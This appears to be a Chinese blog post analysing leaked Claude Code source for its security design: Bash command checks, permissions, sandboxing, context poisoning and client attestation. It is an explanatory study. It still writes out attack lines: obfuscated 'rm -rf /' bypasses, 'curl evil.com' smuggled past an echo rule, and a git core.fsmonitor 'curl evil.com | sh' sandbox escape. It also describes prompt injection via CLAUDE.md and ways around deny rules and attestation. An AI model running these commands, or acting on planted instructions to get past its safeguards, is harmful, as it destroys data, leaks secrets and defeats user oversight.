Claude Code 源码泄露让我这样的 Agent 开发的初学者有机会去学习世界顶级 AI 公司的 Agent 产品是什么样的。
如果不去认真研究一下,简直是暴殄天物。所以,打算分几个部分研究下源码。
这篇文章是 Claude Code 源码学习的第一篇,学习下 Claude Code 是如何做安全防护的。后面还会学习上下文工程,工具系统,Skills 系统,以及多 agent 的机制是如何设计的。
Bash 命令作为 CLI 应用中最频繁的输入,安全校验也是重中之重。
为了保证高安全性,Claude Code 的 Bash 安全检查链基本上就是在逐条对着 CWE-78(操作系统命令注入) 的子类做防御,对已知威胁做工程化应对。
对这方面感兴趣的,可以查看 CWE(Common Weakness Enumeration)。这是 MITRE 维护的软件弱点分类标准,安全界的“字典”。
Claude Code 中所有 Bash 命令在执行前都要经过一套安全检查链,使用正则匹配、shell-quote 解析和 tree-sitter AST 分析三种手段层层过滤。
下面是其中几条重要的安全校验。
Zsh 的 zmodload、ztcp、zpty 等命令能加载内核模块、直接建立 TCP 连接、创建伪终端,绕过网络白名单和进程监控。Zsh 本身不限制这些,它假设用户知道自己在干什么。但 AI agent 打破了这个假设:命令由模型生成,用户可能不懂就批准了。
Claude Code 的策略是用黑名单 + AST 解析拦截这些命令名。
Unicode 有“看不见的字符”:零宽空格、零宽不换行空格等。
攻击者把这些字符插入命令中,人眼看不出来,但简单的字符串匹配会失效,危险命令被伪装成安全命令。
源码用 NFKC 规范化 + 正则删除格式控制符、私有区字符、未分配码位,循环执行直到文本不再变化。
同时检测双向文本控制符(能让文本反向显示,经典攻击:文件名显示为 txt 实际是 exe)。
还有递归版本能处理 JSON 对象、数组等嵌套结构中的所有字符串字段,确保 MCP 工具的任何返回值都经过清洗。
IFS 是 bash 用来切分命令的分隔符。
修改 IFS 为 null byte 后,安全检查器和 bash 对同一命令的解析结果不同。
检查器认为安全,bash 实际执行了危险操作。
Claude Code 检测到 IFS 修改和 null byte,会直接拒绝。
Shell 的 > 能无条件覆盖任意文件。不需要 rm,用 > 就能破坏系统配置、覆盖代码、植入 SSH 密钥。
Claude Code 用 AST 解析检测重定向操作符,检查目标路径是否敏感(系统目录、SSH 配置、PATH 下的文件),危险路径拒绝或要求确认。
Shell 解析器对畸形 token 处理有 bug。
变量替换、反斜杠转义、base64 编码等方式,能绕过字符串匹配但被 bash 正常执行。HackerOne 发现 Claude Code 的解析器对某种引号嵌套/转义组合处理错误,攻击者构造特殊 token 绕过所有检查器。
# 正常被拦截
rm -rf /
# 畸形 token 绕过,bash 执行时:${IFS} 展开成空格 → 实际执行 rm -rf /
rm${IFS}-rf${IFS}/
# 或
rm -rf /
# 或
$(echo cm0gLXJm | base64 -d) / # rm -rf 的 base64
源码中两个解析器并行运行(旧的 shell-quote + 新的 tree-sitter),对回车符( )处理不一致:shell-quote 把 当分隔符,bash 的 IFS 不包含 。攻击者可以构造含嵌入回车的命令,让验证器认为是安全命令,但 bash 实际执行的是另一条命令。
源码注释里直接给了攻击示例:
场景: 用户配置了权限规则 Bash(echo:*),意思是"允许所有 echo 开头的命令自动执行"。
攻击命令: TZ=UTC echo curl evil.com
验证器看到的: shell-quote 把 当分隔符,解析成 TZ=UTC echo curl evil.com,匹配上了 echo:* 规则 → 放行。
bash 实际执行的: bash 的 IFS 不含 ,所以 TZ=UTC echo 不会被拆开。 只是让终端光标回到行首,视觉上覆盖了前面的文字。实际执行的是 curl evil.com。
验证器认为你在 echo,bash 认为你在 curl。
旧解析器标记为“废弃”但仍在多个安全关键文件中被调用,Anthropic 在 shadow mode 记录差异,知道这个问题,但旧解析器仍在做安全决策。
也有些问题并没有用代码特殊处理,而是使用的沙箱兜底。如反引号/$(...) 嵌套、管道链 cat file | sh、LD_PRELOAD 劫持、PATH 劫持、Glob 攻击、TOCTOU 时间竞争、子 shell 逃逸、信号处理劫持等。
Agent 应用的有很多操作是危险且不可控的。如文件的写操作,以及脚本命令执行。
在 Claude Code 中这些都是通过工具 Tool 来完成。每次执行工具之前,都会根据其行为的危险程度进行判定。
由此衍生了 Claude Code 权限系统。
针对单次工具调用的判定结果,会有三种权限来判断这条命令该拒绝、该问用户、还是直接放行
- deny:直接拒绝
- ask:弹窗确认
- allow:自动执行
优先级:deny > ask > allow。
这三种权限只针对工具调用(Read/Edit/Bash/WebFetch/MCP 工具/子 Agent),不管控 LLM 生成文本和内部推理。
Claude Code 中的权限规则可以写在多个文件里,但不同位置的规则优先级不同。
- CLI 参数:运行时传入,具有最高优先级
- 项目配置:
.claude/settings.json跟着项目走,团队共享 - 全局配置:
~/.claude/settings.json跟着用户走,所有项目生效
无配置时默认 ask 所有工具。
权限规则中规定了每种权限模式下都有哪些操作,形式如下:
{
"permissions":{
"allow":["Read","Bash(git:*)","Edit"],
"deny":["Bash(rm:*)"]
}
}
Hook 拦截 → Deny 规则 → Ask 规则 → Allow 规则 → 默认模式。
值得注意的是,Hook 返回 “allow” 也不能绕过 deny 规则。
这是由 Adversa AI 报告的一个漏洞。
在 Claude Code 执行命令时,当命令包含过多子命令时,token 预算不足以运行全部安全检查器,降级为 behavior: 'ask'(不是 deny),交给用户判断是否执行。
攻击者构造大量无害命令 + 少量恶意命令的形式,将恶意命令隐藏在整体命令中,在用户批准后执行。
具体内容可以看,Adversa AI 报告标题:“Deny rules silently bypassed because security checks cost too many tokens”。
权限模式是全局的权限策略,它决定了在没有显示规则命中时,默认应该是走 deny、ask 还是 allow。
系统定义了多种权限模式:
- default:每次操作前弹出确认,最安全
- acceptEdits:自动批准文件编辑,命令仍需确认
- plan:只允许规划,不执行任何写操作
- auto:分类器自动判断是否安全,安全的自动执行
- bypassPermissions:跳过所有权限检查,最危险
bypassPermissions 有两层防护:远程开关(企业可通过 Statsig 强制禁用)和本地设置禁用。即使用户传了 --dangerously-skip-permissions 参数也会被忽略。
进入 auto 模式时,系统会自动撤销危险的宽泛授权规则(如“允许所有 python 命令”),退出后恢复。
沙箱和权限系统之间有两个方向的交互:
方向一:沙箱 → 权限(自动放行)
开了沙箱后,autoAllowBashIfSandboxed 让 Bash 命令默认不再弹确认,逻辑是“反正在隔离环境里,炸不到外面”。
但这个自动放行有前提:如果你显式写了 deny 或 ask 规则,规则优先,沙箱不能覆盖。
方向二:沙箱 → 权限(路径放行)
你在沙箱配置里写了 allowWrite: ["/tmp/claude/"],那 Edit 工具往这个路径写文件时,权限系统也不再弹确认了。底层逻辑是 pathValidation.ts 会去查沙箱的 write allowlist,发现路径已被沙箱允许,就直接放行。
沙箱的配置会“反哺”权限系统的判断,减少不必要的用户确认。但 deny 规则是铁律,沙箱改不了。
Claude Code 中实现沙箱隔离的代码并不在本身,而是在开源仓库 anthropic-experimental/sandbox-runtime 中。
所以,后文的相关部分,也都是依据这个开源包。
文件系统的隔离是限制进程只能访问指定目录。
Linux 用 bubblewrap(基于 namespace), macOS 用 Seatbelt(sandbox-exec,声明式策略)。
这两种技术在实现上思路不同:
- bubblewrap(Linux):给进程造一个“假的世界”。通过 Linux namespace,让进程以为自己看到的文件系统、网络、进程表是全部,实际只是宿主机的一个子集。进程在里面写
/etc/passwd,宿主机上的真文件完全不受影响——因为它写的是隔离出来的副本。 - Seatbelt(macOS):macOS 自带的沙箱框架,通过
sandbox-exec命令启动。你写一份策略文件(声明式的,类似“允许读这些路径、禁止网络访问”),内核级强制执行。进程想干策略不允许的事,系统调用直接返回失败。
bubblewrap 是“给你一个假世界”,Seatbelt 是“在真世界里加围栏”。效果一样,进程出不去指定边界。
Claude Code 默认只读当前工作目录,可通过配置额外可写路径。
这些限制都是 OS 级强制,所有子进程继承限制。
源码中有针对 /proc 的访问防御。/proc 是一个虚拟文件系统,每个运行中的进程都有一个对应目录。其中 /proc/[pid]/environ 这个文件包含了该进程的所有环境变量并且都是明文的。
Claude Code 运行时,环境变量里通常存着 API 密钥(ANTHROPIC_API_KEY 之类的)。
如果沙箱内的恶意命令去读 /proc/self/environ 或者遍历 /proc/*/environ,就能直接拿到这些密钥。
所以源码里专门检测对 /proc/*/environ 路径的访问,命中就拦截,防止通过 proc 文件系统读取环境变量中的 API 密钥。
这份白名单是为了防止恶意命令修改 Claude Code 的配置文件,比如修改 deny 规则,关闭沙箱等操作;以及防御 .claude/skills 被投毒。
Claude Code 会在生成沙箱规则时,把所有 settings 文件和 .claude/skills 目录强制塞进 denyWrite 列表,不管用户怎么配置,沙箱内的命令都无法修改它们。
即使用户自己的配置出了问题,沙箱也会自动保护,
这是最有代表性的真实攻击面防护。
完整攻击链是:沙箱内命令在工作目录植入伪造 bare repo 文件(HEAD、objects/、refs/)→ 注入恶意 core.fsmonitor 配置 → 后续 Claude 在宿主机无沙箱执行 git 命令时触发恶意钩子 → 从“沙箱内写文件”升级成“宿主机执行恶意逻辑”。
这里最根本的问题是 Git 判断一个目录是不是 bare repo 的逻辑很简单:根目录下有 HEAD + objects/ + refs/ 就算。
所以攻击者只要在沙箱里伪造这三个文件,Git 就会判定目录是一个 bare repo。
然后通过注入恶意 core.fsmonitor 配置,可以指定一个外部程序,Git 每次执行操作(git status、git log 等)时会自动调用它来查哪些文件变了。
这个“外部程序”就是一条 shell 命令,Git 会无条件执行。比如:攻击者在伪造的 bare repo 的 config 文件里写上 core.fsmonitor = "curl evil.com | sh",只要有人在这个目录里跑任何 git 命令,恶意代码就自动执行了
Claude Code 对于逃逸的防护分两步:
- 构建配置时把已存在的关键 Git 路径加入 denyWrite;
- 命令执行后同步清理沙箱内被植入的 Git 裸库文件。
安全边界不是“进了隔离环境就结束”,而是执行前限制、执行中隔离、执行后清理。
Claude Code 通过代理服务器(运行在沙箱外)拦截所有网络请求,运行 HTTP proxy + SOCKS5 proxy。
Linux 通过环境变量(HTTP_PROXY、HTTPS_PROXY、ALL_PROXY)引导流量走代理,不是强制隔离,不遵守这些变量的程序可以绕过。
macOS 用 Seatbelt 在内核层只允许连接代理监听的 localhost 端口,是真正的强制隔离。
代理从请求中提取域名检查白名单,不在白名单的域名被阻止并通知用户。
网络白名单不是独立配置的,而是从 WebFetch 工具的权限规则中自动生成——你在权限配置里写了 WebFetch(domain: example.com),沙箱代理就会把 example.com 加进白名单。
如果配置里完全没有 WebFetch 权限条目,代理甚至不会启动,沙箱内所有网络请求直接失败。
开启 allowManagedDomainsOnly 选项后,只有配置的域名才能通过。检测到配置外的新域名,请求会直接被阻止,不再询问用户。
所有子进程继承沙箱边界。kubectl、terraform、npm 等工具都受限。npm install 的 postinstall 脚本也在沙箱内。
Unix socket 是本机进程间通信的通道。如果沙箱内的恶意进程能创建 Unix socket,就可能连上宿主机上的 Docker daemon、数据库、桌面环境等服务,实现沙箱逃逸。所以默认必须阻止。
两个平台的实现方式不同:
- Linux 用 seccomp BPF 在 syscall 层面拦截
socket(AF_UNIX, ...)调用,进程尝试创建 Unix socket 时直接返回权限拒绝。但 seccomp 只能拦“创建”动作,拦不了从父进程继承的已有 socket fd,也拦不了通过SCM_RIGHTS机制传递过来的 fd。对大多数场景够用,但不是完美隔离。 - macOS 用 Seatbelt 按路径做白名单,可以精确控制允许连接哪些 socket 文件。
配置上也有平台差异:allowUnixSockets 在 macOS 上是路径白名单(比如允许 /var/run/docker.sock),在 Linux 上这个配置被忽略,因为 seccomp 工作在 syscall 层,没有路径信息可过滤。Linux 只有一个全局开关 allowAllUnixSockets,要么全拦要么全放。
官方文档特别警告:允许 /var/run/docker.sock 等同于把宿主机的完整控制权交给沙箱内的进程,因为 Docker daemon 本身就有 root 权限。
“配置里写了启用沙箱”和“实际跑在沙箱里”是两回事。
中间隔着平台支持检查(WSL1 不支持,因为 bubblewrap 需要 WSL2 的内核特性)、依赖完整性检查(Linux 需要 bubblewrap 和 socat)、平台白名单等步骤。任何一步不通过,沙箱就起不来。
沙箱起不来时,Claude Code 只显示一个警告,然后继续无沙箱运行命令。这意味着用户可能以为自己在沙箱保护下,实际上完**奔。源码注释直接把这叫 security footgun(安全上的自我伤害)。
failIfUnavailable 选项就是为了堵这个口:设为 true 后,沙箱不可用时直接拒绝执行命令,而不是降级。适合企业部署场景,把沙箱从“有更好”升级成“没有就不干活”。
配置支持热更新,不需要重启 CLI。防止 AI 利用“配置已改但沙箱还用旧规则”的时间窗口逃逸。
Docker 容器内运行 Claude Code 时,bubblewrap 需要的 Linux namespace 权限通常被 Docker 自身的安全策略禁止(容器里再套 namespace,Docker 默认不允许)。这时候完整沙箱起不来。
enableWeakerNestedSandbox 就是为这个场景设计的:放弃 namespace 级别的文件系统隔离,退而求其次用更弱的限制方式,让沙箱至少能跑起来。
网络隔离(代理过滤)仍然有效,但文件系统隔离的强度打了折扣,不再是“假世界”级别的隔离,而是降级为权限控制级别的限制。
这是一个明确的安全换功能的妥协:在完全没有沙箱和有一个弱沙箱之间,选了后者。
配置项名字里的“weaker”就是在提醒你,这不是完整保护。
攻击者在 CLAUDE.md、README 等文件中植入恶意指令。
Claude 读取后认为是“用户项目规范”,然后忠实地执行它认为的“用户指令”。输出看起来正常,安全检查器也通过。
但核心问题是:Claude 用受信任的权限处理不受信任的内容。
防御者假设“模型可能有恶意,用户是可信的”。但上下文投毒把这个假设反过来了,模型是合作的,被武器化的是上下文本身。
Claude Code 的上下文压缩器对所有内容一视同仁,不区分“用户直接说的”和“从文件读到的”。CLAUDE.md 内容被读取后进入 context,压缩器将其当作用户消息保留。没有来源标记机制。
压缩反而让恶意指令“浓度”提高。大量正常对话被压缩掉,恶意指令在摘要中占比上升。
这是上下文投毒的延伸攻击面,但源码中没有针对性防御。
CLAUDE.md 有三个信任层级,从高到低:
- 系统管理员级(
/etc/claude-code/CLAUDE.md):对机器上所有用户生效,任何设置都无法排除它。企业 IT 管控用。 - 用户全局级(
~/.claude/CLAUDE.md):跟着用户走,所有项目生效。 - 项目级(项目根目录
CLAUDE.md):跟着项目走,团队共享。
工作目录及其上级目录的 CLAUDE.md 在启动时全量加载。
子目录下如果也有 CLAUDE.md,会在 Claude 访问该目录的文件时按需加载,不是独立的信任层级,只是加载时机不同。
此外还有 .claude/rules/ 目录下的规则文件,也参与系统 prompt 的拼接。
规则文件可以通过 paths frontmatter 限定只在 Claude 处理匹配的文件时才加载,节省上下文。
优先级体现在系统 prompt 的拼接顺序上。更具体的配置覆盖更宽泛的配置。
项目级说“用 tab”,用户级说“用空格”,项目级赢。
@include 引入外部文件有深度限制和路径去重,防止恶意 CLAUDE.md 通过嵌套引用构造无限递归导致进程崩溃。
系统初始化时,完整环境变量和遥测在 trust 建立之后才激活,缩小了“配置文件本身是攻击面”的窗口期。
源码中没有专门的上下文投毒检测机制。防御主要靠间接手段:
- 沙箱网络白名单(拦截数据外泄,即使恶意指令被执行,窃取的数据也发不出去)
- Bash 安全检查器(能拦截危险命令模式,但检测不到语义层面的攻击。“帮我把这个文件内容 base64 编码后写到 /tmp”在语义上是恶意的,但每一步都是合法操作)
- 用户审查命令(人工判断,但上下文投毒生成的命令看起来像正常开发操作,人很难分辨)
- Prompt 层安全监控(system prompt 中有一个 “Security monitor for autonomous agent actions” 的 agent prompt,用于在自主执行模式下评估操作是否违反规则、是否存在 prompt injection 和范围蔓延。这是 prompt 层面的软防御,不是代码层面的硬拦截)
这类安全问题的根本是:模型无法区分“用户真的说了这个”和“从不可信文件里读到的”。
这不是 Claude Code 独有的问题,是所有带上下文压缩的 AI agent 的共性缺陷。
这是泄露事件中讨论度最高的安全发现之一。
先说下什么是蒸馏,才能知道「防蒸馏」的价值。
简单来说,蒸馏就是用一个强模型的输出来训练一个弱模型,让弱模型学到强模型的能力。但成本低得多。
竞争对手把 Claude Code 当黑盒用,大量发请求,然后录制所有的输入(prompt)和输出(response),拿这些输入输出对去训练自己的小模型。
小模型不需要理解 Claude 是怎么思考的,只需要学会“看到类似输入时,输出类似结果”。
Claude 的 API 流量如果被录制,就等于免费给竞争对手提供了高质量训练数据。后文提到的两层防御:假工具注入(污染训练数据)和摘要签名(隐藏完整推理链),都是为了让录制到的数据“有毒”或“不完整”,降低蒸馏的价值。
系统可以让服务器在 system prompt 中注入假的工具定义。如果竞争对手录制 Claude Code 的 API 流量来训练模型,假工具会污染训练数据,让训练出的模型在工具调用上出错。
第二层防护:服务端把工具调用之间的助手文本摘要化,并附加加密签名。录制者只能拿到摘要,拿不到完整推理链。后续轮次可以通过签名恢复原文。
这是 Anthropic 对第三方工具(如 OpenCode)发律师函的技术基础。
Client Attestation 就是让服务端能区分“这个请求真的来自正版 Claude Code 二进制”还是“有人拿着 API key 自己拼的请求”
具体实现方式如下:
API 请求中嵌入一个固定长度的占位符(cch=00000),在请求离开进程前被 Bun 的底层(Zig 运行时,在 JavaScript 层之下)替换为 5 位十六进制哈希。
服务端据此验证请求来自真正的 Claude Code 二进制而非仿冒客户端。
占位符长度固定(5 个字符替换 5 个字符),是因为替换发生在 body 已经序列化之后,长度不变就不需要重新计算 Content-Length 和重新分配缓冲区,只是一次简单的内存覆写。
整个计算在 JS 运行时之下完成,JS 层的任何代码都看不到。
需要注意的是,这里用的是 xxHash64 非加密哈希,速度快但不具备密码学强度。
安全模型靠的是隐蔽性(算法藏在编译后的 Zig 二进制里),不是密码学。
泄露后已被逆向工程,约 30 行代码即可重现。常量会随版本更新,但提取过程是机械性的。
局限: 有编译期开关(NATIVE_CLIENT_ATTESTATION)可以关闭,环境变量(CLAUDE_CODE_ATTRIBUTION_HEADER)可以禁用 header,还有远程 GrowthBook killswitch 可以关闭。
用非官方 Bun 或 Node 运行时占位符不会被替换。算法已被公开逆向,安全性依赖版本迭代更换常量。
Claude Code 运行时能接触到你的 API 密钥、文件路径、代码片段、MCP 服务器配置等。
Anthropic 为了防止自己的产品在运行过程中泄露用户数据,对代码和开发者都增加了一些约束。
而信息可能通过三个渠道泄露出去:
- 遥测回传:使用数据自动上报给 Anthropic 服务器,如果不做处理,代码片段、文件路径、API key 可能混在遥测数据里一起发出去。
- Team Memory 同步:团队共享记忆上传到云端时,如果内容里包含 API key 或密码,就直接把密钥传到了 Anthropic 的服务器上。
- 内部日志流:不同团队对数据的访问权限不同,含 PII 的数据如果进了通用日志,任何有日志权限的员工都能看到。
为了堵住这些泄露渠道的防护策略主要有四部分,大致如下。
三种级别:全功能开启、关闭遥测(保留自动更新等)、关闭一切非必要网络。
遥测数据中的 PII 字段会被路由到有访问控制的专属通道,发送到通用日志流前必须经过脱敏。MCP 工具名在上报前被替换为通用标签,不暴露用户的私有 MCP 服务器配置。
遥测上报的字符串字段使用特殊类型标注,开发者必须显式断言“我确认这条数据不含代码或文件路径原文”才能通过编译。
这是编译期的强制约束,不是命名约定。
Team Memory 上传前会经过正则密钥扫描器,覆盖主流平台的 API Key 格式。扫描结果只返回“哪条规则命中”而非密钥原文,防止扫描本身成为泄漏渠道。可以选择替换为 [REDACTED] 而非直接拒绝。
Claude Code 的安全架构是多层防御,工程水平远超同类产品。
但根本问题在于:AI agent 的信任边界模糊。用户输入可信,代码文件可信吗?压缩后分不清。
这些不是 Claude Code 独有的问题,是所有 AI agent 面临的共性挑战。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/253642.html